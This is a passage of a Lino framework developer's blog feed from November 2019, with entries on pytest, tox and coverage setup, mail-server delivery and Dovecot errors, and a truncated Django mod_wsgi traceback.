&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;DeprecationWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;imp&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;deprecated&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;favour&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;importlib&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;see&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s documentation for alternative uses&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That’s for example in &lt;a class="reference external" href="https://atelier.lino-framework.org/api/rstgen.sphinxconf.base.html#module-rstgen.sphinxconf.base" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.base&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.dpy.html#module-lino.utils.dpy" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.dpy&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
I replaced them by importlib, let’s see whether that works.  But other
dependencies (jinja2, ..) are using it, so the warning won’t go away. To
suppress them, I added the following to my &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;[pytest]&lt;/span&gt;&lt;/code&gt; section:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pytest&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;filterwarnings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="n"&gt;ignore&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="ne"&gt;DeprecationWarning&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I changed the &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command of &lt;a class="reference external" href="https://atelier.lino-framework.org/api/atelier.invlib.tasks.html#module-atelier.invlib.tasks" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.invlib.tasks&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to simply
run &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now what about coverage? Oho, &lt;a class="reference external" href="https://pypi.org/project/pytest-cov/"&gt;pytest-cov&lt;/a&gt; promises “Subprocess support: you can
fork or run stuff in a subprocess and will get covered without any fuss.”&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;$ pip install pytest-cov
$ pytest –cov=atelier&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;So I just need to specify this as the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;commands&lt;/span&gt;&lt;/code&gt; in my &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;[testenv]&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;commands&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="n"&gt;pytest&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;cov&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;atelier&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And we can probably remove the &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-cov" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;cov&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command because &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
will always also run coverage.&lt;/p&gt;
&lt;p&gt;Now of course we should review all our projects:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;add a &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox.ini&lt;/span&gt;&lt;/code&gt; file&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;rename &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;__init__.py&lt;/span&gt;&lt;/code&gt; to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_everything.py&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.tox&lt;/span&gt;&lt;/code&gt; to the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.gitignore&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1115.html</guid><pubDate>Fri, 15 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, November 13, 2019</title><link>https://luc.lino-framework.org/blog/2019/1113.html</link><description>&lt;section id="wednesday-november-13-2019"&gt;
&lt;h1&gt;Wednesday, November 13, 2019&lt;a class="headerlink" href="#wednesday-november-13-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="service-currently-unavailable-in-reply-to-rcpt-to-command"&gt;
&lt;h2&gt;Service currently unavailable (in reply to RCPT TO command)&lt;a class="headerlink" href="#service-currently-unavailable-in-reply-to-rcpt-to-command" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Our &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt; fails to deliver outgoing mails to addresses ending with
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;#64;hot.ee&lt;/span&gt;&lt;/code&gt; and the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail.log&lt;/span&gt;&lt;/code&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt; &lt;span class="n"&gt;myhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6297&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;956&lt;/span&gt;&lt;span class="n"&gt;A6ABE0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;xyz&lt;/span&gt;&lt;span class="nd"&gt;@hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mx1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;194.126.101.119&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;6.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.65&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;5.9&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;4.3.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;deferred&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;mx1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;194.126.101.119&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;said&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;450&lt;/span&gt; &lt;span class="mf"&gt;4.3.2&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt; &lt;span class="n"&gt;currently&lt;/span&gt; &lt;span class="n"&gt;unavailable&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reply&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="n"&gt;TO&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1113.html</guid><pubDate>Wed, 13 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, November 12, 2019</title><link>https://luc.lino-framework.org/blog/2019/1112.html</link><description>&lt;section id="tuesday-november-12-2019"&gt;
&lt;h1&gt;Tuesday, November 12, 2019&lt;a class="headerlink" href="#tuesday-november-12-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Some members of the rello mailinglist don’t receive any mail after moving to the
new server.  The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/mail.err&lt;/span&gt;&lt;/code&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;pam_authenticate() failed: Authentication failure (/etc/pam.d/imap missing?)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I read the &lt;a class="reference external" href="https://wiki.archlinux.org/index.php/Dovecot#PAM_Authentication"&gt;Dovecot docs&lt;/a&gt; and
compared the configs of old and new server… but without success.&lt;/p&gt;
&lt;p&gt;I also stumbled into &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3333"&gt;#3333&lt;/a&gt; (Unable to create comments with invalid
&amp;#64;user or #ticket):  When I post a comment “Try #foobar baz”, then the comment
gets created, but the action returns a single text line &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ValueError:&lt;/span&gt; &lt;span class="pre"&gt;invalid&lt;/span&gt;
&lt;span class="pre"&gt;literal&lt;/span&gt; &lt;span class="pre"&gt;for&lt;/span&gt; &lt;span class="pre"&gt;int()&lt;/span&gt; &lt;span class="pre"&gt;with&lt;/span&gt; &lt;span class="pre"&gt;base&lt;/span&gt; &lt;span class="pre"&gt;10:&lt;/span&gt; &lt;span class="pre"&gt;'foobar'&lt;/span&gt;&lt;/code&gt; instead of JSON object with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;{&lt;/span&gt;
&lt;span class="pre"&gt;&amp;quot;success&amp;quot;:&lt;/span&gt; &lt;span class="pre"&gt;true,&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;message&amp;quot;:&lt;/span&gt; &lt;span class="pre"&gt;...&lt;/span&gt; &lt;span class="pre"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I changed test_notify.py in team demo project to reproduce the problem.&lt;/p&gt;
&lt;p&gt;TODO: A same file test_notify.py exists in the eric demo project. Shouldn’t that
file go away because it is redundant? What is the difference between eric and
team?&lt;/p&gt;
&lt;p&gt;And while I was there I also fixed the problem. Note: Hamza is the culprit :-)
his work for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3108"&gt;#3108&lt;/a&gt; didn’t handle exceptions.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1112.html</guid><pubDate>Tue, 12 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Monday, November 11, 2019</title><link>https://luc.lino-framework.org/blog/2019/1111.html</link><description>&lt;section id="monday-november-11-2019"&gt;
&lt;h1&gt;Monday, November 11, 2019&lt;a class="headerlink" href="#monday-november-11-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;We are still having errors like this one:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;23481&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;23481&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt; &lt;span class="n"&gt;processing&lt;/span&gt; &lt;span class="n"&gt;WSGI&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/python/lino_local.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt;
    &lt;span class="n"&gt;globals_dict&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;
    &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set_prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;
    &lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INSTALLED_APPS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/apps/registry.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;
    &lt;span class="n"&gt;app_config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AppConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/apps/config.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt;
    &lt;span class="n"&gt;mod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/importlib/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_bootstrap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_gcd_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1006&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_gcd_import&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;983&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;967&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;677&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;728&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;exec_module&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;219&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_call_with_frames_removed&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/channels/apps.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;daphne.server&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/daphne/server.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;asyncioreactor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/twisted/internet/asyncioreactor.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;320&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt;
    &lt;span class="n"&gt;reactor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AsyncioSelectorReactor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eventloop&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
